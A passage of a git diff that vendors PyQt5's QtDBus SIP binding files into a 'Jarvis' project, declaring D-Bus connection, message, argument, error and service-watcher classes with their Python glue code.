callWithCallback(const QString &method, QList &args, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a2, &receiver, slot)) == sipErrorNone) + { + sipRes = sipCpp->callWithCallback(*a0, *a1, receiver, slot.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + + QDBusPendingCall asyncCall(const QString &method, const QVariant &arg1 = QVariant(), const QVariant &arg2 = QVariant(), const QVariant &arg3 = QVariant(), const QVariant &arg4 = QVariant(), const QVariant &arg5 = QVariant(), const QVariant &arg6 = QVariant(), const QVariant &arg7 = QVariant(), const QVariant &arg8 = QVariant()); + QDBusPendingCall asyncCallWithArgumentList(const QString &method, const QList &args); + +protected: + QDBusAbstractInterface(const QString &service, const QString &path, const char *interface, const QDBusConnection &connection, QObject *parent /TransferThis/); + virtual void connectNotify(const QMetaMethod &signal); + virtual void disconnectNotify(const QMetaMethod &signal); +}; + +%ModuleHeaderCode +#include "qpydbus_api.h" + +// Imports from QtCore. +typedef PyObject *(*pyqt5_qtdbus_from_qvariant_by_type_t)(QVariant &, PyObject *); +extern pyqt5_qtdbus_from_qvariant_by_type_t pyqt5_qtdbus_from_qvariant_by_type; + +typedef sipErrorState (*pyqt5_qtdbus_get_pyqtslot_parts_t)(PyObject *, QObject **, QByteArray &); +extern pyqt5_qtdbus_get_pyqtslot_parts_t pyqt5_qtdbus_get_pyqtslot_parts; +%End + +%ModuleCode +// Imports from QtCore. +pyqt5_qtdbus_from_qvariant_by_type_t pyqt5_qtdbus_from_qvariant_by_type; +pyqt5_qtdbus_get_pyqtslot_parts_t pyqt5_qtdbus_get_pyqtslot_parts; +%End + +%PostInitialisationCode +qpydbus_post_init(); + +// Imports from QtCore. +pyqt5_qtdbus_from_qvariant_by_type = (pyqt5_qtdbus_from_qvariant_by_type_t)sipImportSymbol("pyqt5_from_qvariant_by_type"); +Q_ASSERT(pyqt5_qtdbus_from_qvariant_by_type); + +pyqt5_qtdbus_get_pyqtslot_parts = (pyqt5_qtdbus_get_pyqtslot_parts_t)sipImportSymbol("pyqt5_get_pyqtslot_parts"); +Q_ASSERT(pyqt5_qtdbus_get_pyqtslot_parts); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusargument.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusargument.sip new file mode 100644 index 00000000..10636ae1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusargument.sip @@ -0,0 +1,187 @@ +// qdbusargument.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusArgument +{ +%TypeHeaderCode +#include +%End + +%TypeCode +#include + + +static PyObject *qdbusargument_add(QDBusArgument *arg, PyObject *obj, int mtype) +{ + int iserr = 0; + + if (PyLong_CheckExact(obj) +#if PY_MAJOR_VERSION < 3 + || PyInt_CheckExact(obj) +#endif + ) + { + if (mtype == QMetaType::UChar || mtype == QMetaType::UShort || mtype == QMetaType::UInt || mtype == QMetaType::ULongLong) + { + // Handle the unsigned values. +#if defined(HAVE_LONG_LONG) + unsigned PY_LONG_LONG v = PyLong_AsUnsignedLongLongMask(obj); +#else + unsigned long v = PyLong_AsUnsignedLongMask(obj); +#endif + + switch (mtype) + { + case QMetaType::UChar: + *arg << (uchar)v; + break; + + case QMetaType::UShort: + *arg << (ushort)v; + break; + + case QMetaType::UInt: + *arg << (uint)v; + break; + + case QMetaType::ULongLong: + *arg << (qulonglong)v; + break; + } + } + else if (mtype == QMetaType::Short || mtype == QMetaType::Int || mtype == QMetaType::LongLong) + { + // Handle the signed values. +#if defined(HAVE_LONG_LONG) + PY_LONG_LONG v = PyLong_AsLongLong(obj); +#else + long v = PyLong_AsLong(obj); +#endif + + switch (mtype) + { + case QMetaType::Short: + *arg << (short)v; + break; + + case QMetaType::Int: + *arg << (int)v; + break; + + case QMetaType::LongLong: + *arg << (qlonglong)v; + break; + } + } + else + { + PyErr_Format(PyExc_ValueError, + "%d is an invalid QMetaType::Type for an integer object", + mtype); + iserr = 1; + } + } + else if (mtype == QMetaType::QStringList) + { + // A QStringList has to be handled explicitly to prevent it being seen + // as a vialiant list. + + int value_state; + + QStringList *qsl = reinterpret_cast( + sipForceConvertToType(obj, sipType_QStringList, 0, + SIP_NOT_NONE, &value_state, &iserr)); + + if (!iserr) + { + arg->beginArray(QMetaType::QString); + + for (int i = 0; i < qsl->count(); ++i) + *arg << qsl->at(i); + + arg->endArray(); + + sipReleaseType(qsl, sipType_QStringList, value_state); + } + } + else + { + int value_state; + + QVariant *qv = reinterpret_cast( + sipForceConvertToType(obj, sipType_QVariant, 0, SIP_NOT_NONE, + &value_state, &iserr)); + + if (!iserr) + { + // This is an internal method. If it proves to be a problem then we + // will have to handle each type explicitly. + arg->appendVariant(*qv); + sipReleaseType(qv, sipType_QVariant, value_state); + } + } + + if (iserr) + return 0; + + Py_INCREF(Py_None); + return Py_None; +} +%End + +public: + QDBusArgument(); + QDBusArgument(const QDBusArgument &other); + QDBusArgument(SIP_PYOBJECT arg, int id = QMetaType::Int); +%MethodCode + sipCpp = new QDBusArgument(); + PyObject *res = qdbusargument_add(sipCpp, a0, a1); + + if (res) + { + Py_DECREF(res); + } + else + { + delete sipCpp; + sipCpp = 0; + } +%End + + ~QDBusArgument(); + SIP_PYOBJECT add(SIP_PYOBJECT arg, int id = QMetaType::Int) /TypeHint=""/; +%MethodCode + sipRes = qdbusargument_add(sipCpp, a0, a1); +%End + + void beginStructure(); + void endStructure(); + void beginArray(int id); + void endArray(); + void beginMap(int kid, int vid); + void endMap(); + void beginMapEntry(); + void endMapEntry(); +%If (Qt_5_6_0 -) + void swap(QDBusArgument &other /Constrained/); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusconnection.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusconnection.sip new file mode 100644 index 00000000..fe112bf9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusconnection.sip @@ -0,0 +1,262 @@ +// qdbusconnection.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace QDBus +{ +%TypeHeaderCode +#include +%End + + enum CallMode + { + NoBlock, + Block, + BlockWithGui, + AutoDetect, + }; +}; + +class QDBusConnection +{ +%TypeHeaderCode +#include +%End + +public: + enum BusType + { + SessionBus, + SystemBus, + ActivationBus, + }; + + enum RegisterOption + { + ExportAdaptors, + ExportScriptableSlots, + ExportScriptableSignals, + ExportScriptableProperties, + ExportScriptableInvokables, + ExportScriptableContents, + ExportNonScriptableSlots, + ExportNonScriptableSignals, + ExportNonScriptableProperties, + ExportNonScriptableInvokables, + ExportNonScriptableContents, + ExportAllSlots, + ExportAllSignals, + ExportAllProperties, + ExportAllInvokables, + ExportAllContents, + ExportAllSignal, + ExportChildObjects, + }; + + enum UnregisterMode + { + UnregisterNode, + UnregisterTree, + }; + + typedef QFlags RegisterOptions; + + enum ConnectionCapability + { + UnixFileDescriptorPassing, + }; + + typedef QFlags ConnectionCapabilities; + explicit QDBusConnection(const QString &name); + QDBusConnection(const QDBusConnection &other); + ~QDBusConnection(); + bool isConnected() const; + QString baseService() const; + QDBusError lastError() const; + QString name() const; + QDBusConnection::ConnectionCapabilities connectionCapabilities() const; + bool send(const QDBusMessage &message) const; + bool callWithCallback(const QDBusMessage &message, SIP_PYOBJECT returnMethod /TypeHint="PYQT_SLOT"/, SIP_PYOBJECT errorMethod /TypeHint="PYQT_SLOT"/, int timeout = -1) const; +%MethodCode + QObject *receiver; + QByteArray return_slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a1, &receiver, return_slot)) == sipErrorNone) + { + QObject *error_receiver; + QByteArray error_slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a2, &error_receiver, error_slot)) == sipErrorNone) + { + if (receiver == error_receiver) + { + sipRes = sipCpp->callWithCallback(*a0, receiver, return_slot.constData(), error_slot.constData(), a3); + } + else + { + PyErr_SetString(PyExc_ValueError, + "the return and error methods must be bound to the same QObject instance"); + sipError = sipErrorFail; + } + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + QDBusMessage call(const QDBusMessage &message, QDBus::CallMode mode = QDBus::Block, int timeout = -1) const /ReleaseGIL/; + QDBusPendingCall asyncCall(const QDBusMessage &message, int timeout = -1) const; + bool connect(const QString &service, const QString &path, const QString &interface, const QString &name, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /ReleaseGIL/; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a4, &receiver, slot)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->connect(*a0, *a1, *a2, *a3, receiver, slot.constData()); + Py_END_ALLOW_THREADS + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(4, a4); + } +%End + + bool connect(const QString &service, const QString &path, const QString &interface, const QString &name, const QString &signature, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /ReleaseGIL/; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a5, &receiver, slot)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->connect(*a0, *a1, *a2, *a3, *a4, receiver, slot.constData()); + Py_END_ALLOW_THREADS + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(5, a5); + } +%End + + bool connect(const QString &service, const QString &path, const QString &interface, const QString &name, const QStringList &argumentMatch, const QString &signature, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /ReleaseGIL/; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a6, &receiver, slot)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->connect(*a0, *a1, *a2, *a3, *a4, *a5, receiver, slot.constData()); + Py_END_ALLOW_THREADS + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(6, a6); + } +%End + + bool disconnect(const QString &service, const QString &path, const QString &interface, const QString &name, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /ReleaseGIL/; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a4, &receiver, slot)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->disconnect(*a0, *a1, *a2, *a3, receiver, slot.constData()); + Py_END_ALLOW_THREADS + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(4, a4); + } +%End + + bool disconnect(const QString &service, const QString &path, const QString &interface, const QString &name, const QString &signature, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /ReleaseGIL/; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a5, &receiver, slot)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->disconnect(*a0, *a1, *a2, *a3, *a4, receiver, slot.constData()); + Py_END_ALLOW_THREADS + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(5, a5); + } +%End + + bool disconnect(const QString &service, const QString &path, const QString &interface, const QString &name, const QStringList &argumentMatch, const QString &signature, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /ReleaseGIL/; +%MethodCode + QObject *receiver; + QByteArray slot; + + if ((sipError = pyqt5_qtdbus_get_pyqtslot_parts(a6, &receiver, slot)) == sipErrorNone) + { + Py_BEGIN_ALLOW_THREADS + sipRes = sipCpp->disconnect(*a0, *a1, *a2, *a3, *a4, *a5, receiver, slot.constData()); + Py_END_ALLOW_THREADS + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(6, a6); + } +%End + + bool registerObject(const QString &path, QObject *object, QDBusConnection::RegisterOptions options = QDBusConnection::ExportAdaptors); +%If (Qt_5_5_0 -) + bool registerObject(const QString &path, const QString &interface, QObject *object, QDBusConnection::RegisterOptions options = QDBusConnection::ExportAdaptors); +%End + void unregisterObject(const QString &path, QDBusConnection::UnregisterMode mode = QDBusConnection::UnregisterNode); + QObject *objectRegisteredAt(const QString &path) const; + bool registerService(const QString &serviceName); + bool unregisterService(const QString &serviceName); + QDBusConnectionInterface *interface() const; + static QDBusConnection connectToBus(QDBusConnection::BusType type, const QString &name) /ReleaseGIL/; + static QDBusConnection connectToBus(const QString &address, const QString &name) /ReleaseGIL/; + static QDBusConnection connectToPeer(const QString &address, const QString &name) /ReleaseGIL/; + static void disconnectFromBus(const QString &name) /ReleaseGIL/; + static void disconnectFromPeer(const QString &name) /ReleaseGIL/; + static QByteArray localMachineId(); + static QDBusConnection sessionBus(); + static QDBusConnection systemBus(); + static QDBusConnection sender(); +%If (Qt_5_6_0 -) + void swap(QDBusConnection &other /Constrained/); +%End +}; + +QFlags operator|(QDBusConnection::RegisterOption f1, QFlags f2); +QFlags operator|(QDBusConnection::RegisterOption f1, QDBusConnection::RegisterOption f2); +%If (Qt_5_6_0 -) +QFlags operator|(QDBusConnection::ConnectionCapability f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusconnectioninterface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusconnectioninterface.sip new file mode 100644 index 00000000..4aebdaff --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusconnectioninterface.sip @@ -0,0 +1,74 @@ +// qdbusconnectioninterface.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusConnectionInterface : QDBusAbstractInterface +{ +%TypeHeaderCode +#include +%End + + QDBusConnectionInterface(const QDBusConnection &connection, QObject *parent /TransferThis/); + virtual ~QDBusConnectionInterface(); + +public: + enum ServiceQueueOptions + { + DontQueueService, + QueueService, + ReplaceExistingService, + }; + + enum ServiceReplacementOptions + { + DontAllowReplacement, + AllowReplacement, + }; + + enum RegisterServiceReply + { + ServiceNotRegistered, + ServiceRegistered, + ServiceQueued, + }; + + QDBusReply registeredServiceNames() const /ReleaseGIL/; +%If (Qt_5_14_0 -) + QDBusReply activatableServiceNames() const /ReleaseGIL/; +%End + QDBusReply isServiceRegistered(const QString &serviceName) const /ReleaseGIL/; + QDBusReply serviceOwner(const QString &name) const /ReleaseGIL/; + QDBusReply unregisterService(const QString &serviceName) /ReleaseGIL/; + QDBusReply registerService(const QString &serviceName, QDBusConnectionInterface::ServiceQueueOptions qoption = QDBusConnectionInterface::DontQueueService, QDBusConnectionInterface::ServiceReplacementOptions roption = QDBusConnectionInterface::DontAllowReplacement) /ReleaseGIL/; + QDBusReply servicePid(const QString &serviceName) const /ReleaseGIL/; + QDBusReply serviceUid(const QString &serviceName) const /ReleaseGIL/; + QDBusReply startService(const QString &name) /ReleaseGIL/; + +signals: + void serviceRegistered(const QString &service); + void serviceUnregistered(const QString &service); + void serviceOwnerChanged(const QString &name, const QString &oldOwner, const QString &newOwner); + void callWithCallbackFailed(const QDBusError &error, const QDBusMessage &call); + +protected: + virtual void connectNotify(const QMetaMethod &); + virtual void disconnectNotify(const QMetaMethod &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbuserror.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbuserror.sip new file mode 100644 index 00000000..5972ceef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbuserror.sip @@ -0,0 +1,71 @@ +// qdbuserror.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusError +{ +%TypeHeaderCode +#include +%End + +public: + enum ErrorType + { + NoError, + Other, + Failed, + NoMemory, + ServiceUnknown, + NoReply, + BadAddress, + NotSupported, + LimitsExceeded, + AccessDenied, + NoServer, + Timeout, + NoNetwork, + AddressInUse, + Disconnected, + InvalidArgs, + UnknownMethod, + TimedOut, + InvalidSignature, + UnknownInterface, + InternalError, + UnknownObject, + InvalidService, + InvalidObjectPath, + InvalidInterface, + InvalidMember, + UnknownProperty, + PropertyReadOnly, + }; + + QDBusError(const QDBusError &other); + QDBusError::ErrorType type() const; + QString name() const; + QString message() const; + bool isValid() const; + static QString errorString(QDBusError::ErrorType error); +%If (Qt_5_6_0 -) + void swap(QDBusError &other /Constrained/); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusextratypes.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusextratypes.sip new file mode 100644 index 00000000..0137142e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusextratypes.sip @@ -0,0 +1,89 @@ +// qdbusextratypes.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusObjectPath +{ +%TypeHeaderCode +#include +%End + +public: + QDBusObjectPath(); + explicit QDBusObjectPath(const QString &objectPath); + QString path() const; + void setPath(const QString &objectPath); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp, 0); +%End + +%If (Qt_5_6_0 -) + void swap(QDBusObjectPath &other /Constrained/); +%End +}; + +bool operator==(const QDBusObjectPath &lhs, const QDBusObjectPath &rhs); +bool operator!=(const QDBusObjectPath &lhs, const QDBusObjectPath &rhs); +bool operator<(const QDBusObjectPath &lhs, const QDBusObjectPath &rhs); + +class QDBusSignature +{ +%TypeHeaderCode +#include +%End + +public: + QDBusSignature(); + explicit QDBusSignature(const QString &dBusSignature); + QString signature() const; + void setSignature(const QString &dBusSignature); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp, 0); +%End + +%If (Qt_5_6_0 -) + void swap(QDBusSignature &other /Constrained/); +%End +}; + +bool operator==(const QDBusSignature &lhs, const QDBusSignature &rhs); +bool operator!=(const QDBusSignature &lhs, const QDBusSignature &rhs); +bool operator<(const QDBusSignature &lhs, const QDBusSignature &rhs); + +class QDBusVariant +{ +%TypeHeaderCode +#include +%End + +public: + QDBusVariant(); + explicit QDBusVariant(const QVariant &dBusVariant); + QVariant variant() const; + void setVariant(const QVariant &dBusVariant); +%If (Qt_5_6_0 -) + void swap(QDBusVariant &other /Constrained/); +%End +}; + +bool operator==(const QDBusVariant &v1, const QDBusVariant &v2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusinterface.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusinterface.sip new file mode 100644 index 00000000..5b45fcdf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusinterface.sip @@ -0,0 +1,32 @@ +// qdbusinterface.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusInterface : QDBusAbstractInterface +{ +%TypeHeaderCode +#include +%End + +public: + QDBusInterface(const QString &service, const QString &path, const QString &interface = QString(), const QDBusConnection &connection = QDBusConnection::sessionBus(), QObject *parent /TransferThis/ = 0); + virtual ~QDBusInterface(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusmessage.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusmessage.sip new file mode 100644 index 00000000..29d9d10f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusmessage.sip @@ -0,0 +1,80 @@ +// qdbusmessage.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusMessage +{ +%TypeHeaderCode +#include +%End + +public: + enum MessageType + { + InvalidMessage, + MethodCallMessage, + ReplyMessage, + ErrorMessage, + SignalMessage, + }; + + QDBusMessage(); + QDBusMessage(const QDBusMessage &other); + ~QDBusMessage(); + static QDBusMessage createSignal(const QString &path, const QString &interface, const QString &name); + static QDBusMessage createMethodCall(const QString &service, const QString &path, const QString &interface, const QString &method); + static QDBusMessage createError(const QString &name, const QString &msg); + static QDBusMessage createError(const QDBusError &error); + static QDBusMessage createError(QDBusError::ErrorType type, const QString &msg); + QDBusMessage createReply(const QList &arguments = QList()) const; + QDBusMessage createReply(const QVariant &argument) const; + QDBusMessage createErrorReply(const QString name, const QString &msg) const; + QDBusMessage createErrorReply(const QDBusError &error) const; + QDBusMessage createErrorReply(QDBusError::ErrorType type, const QString &msg) const; + QString service() const; + QString path() const; + QString interface() const; + QString member() const; + QString errorName() const; + QString errorMessage() const; + QDBusMessage::MessageType type() const; + QString signature() const; + bool isReplyRequired() const; + void setDelayedReply(bool enable) const; + bool isDelayedReply() const; + void setAutoStartService(bool enable); + bool autoStartService() const; + void setArguments(const QList &arguments); + QList arguments() const; + QDBusMessage &operator<<(const QVariant &arg); +%If (Qt_5_6_0 -) + void swap(QDBusMessage &other /Constrained/); +%End +%If (Qt_5_6_0 -) + static QDBusMessage createTargetedSignal(const QString &service, const QString &path, const QString &interface, const QString &name); +%End +%If (Qt_5_12_0 -) + void setInteractiveAuthorizationAllowed(bool enable); +%End +%If (Qt_5_12_0 -) + bool isInteractiveAuthorizationAllowed() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbuspendingcall.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbuspendingcall.sip new file mode 100644 index 00000000..34959bc2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbuspendingcall.sip @@ -0,0 +1,59 @@ +// qdbuspendingcall.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusPendingCall +{ +%TypeHeaderCode +#include +%End + +public: + QDBusPendingCall(const QDBusPendingCall &other); + ~QDBusPendingCall(); + static QDBusPendingCall fromError(const QDBusError &error); + static QDBusPendingCall fromCompletedCall(const QDBusMessage &message); + void swap(QDBusPendingCall &other /Constrained/); + +private: + QDBusPendingCall(); +}; + +class QDBusPendingCallWatcher : QObject, QDBusPendingCall +{ +%TypeHeaderCode +#include +%End + +public: + QDBusPendingCallWatcher(const QDBusPendingCall &call, QObject *parent /TransferThis/ = 0); + virtual ~QDBusPendingCallWatcher(); + bool isFinished() const; + void waitForFinished() /ReleaseGIL/; + +signals: +%If (- Qt_5_6_0) + void finished(QDBusPendingCallWatcher *watcher); +%End +%If (Qt_5_6_0 -) + void finished(QDBusPendingCallWatcher *watcher = 0); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusservicewatcher.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusservicewatcher.sip new file mode 100644 index 00000000..36c9ebbf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtDBus/qdbusservicewatcher.sip @@ -0,0 +1,57 @@ +// qdbusservicewatcher.sip generated by MetaSIP +// +// This file is part of the QtDBus Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDBusServiceWatcher : QObject +{ +%TypeHeaderCode +#include +%End + +public: + enum WatchModeFlag + { + WatchForRegistration, + WatchForUnregistration, + WatchForOwnerChange, + }; + + typedef QFlags WatchMode; + explicit QDBusServiceWatcher(QObject *parent /TransferThis/ = 0); + QDBusServiceWatcher(const QString &service, const QDBusConnection &connection, QDBusServiceWatcher::WatchMode watchMode = QDBusServiceWatcher::WatchForOwnerChange, QObject *parent /TransferThis/ = 0); + virtual ~QDBusServiceWatcher(); + QStringList watchedServices() const; + void setWatchedServices(const QStringList &services); + void addWatchedService(const QString &newService); + bool removeWatchedService(const QString &service); + QDBusServiceWatcher::WatchMode watchMode() const; + void setWatchMode(QDBusServiceWatcher::WatchMode mode); + QDBusConnection connection() const; + void setConnection(const QDBusConnection &connection); + +signals: + void serviceRegistered(const QString &service); + void serviceUnregistered(const QString &service); + void serviceOwnerChanged(const QString &service, const QString &oldOwner, const QString &newOwner); 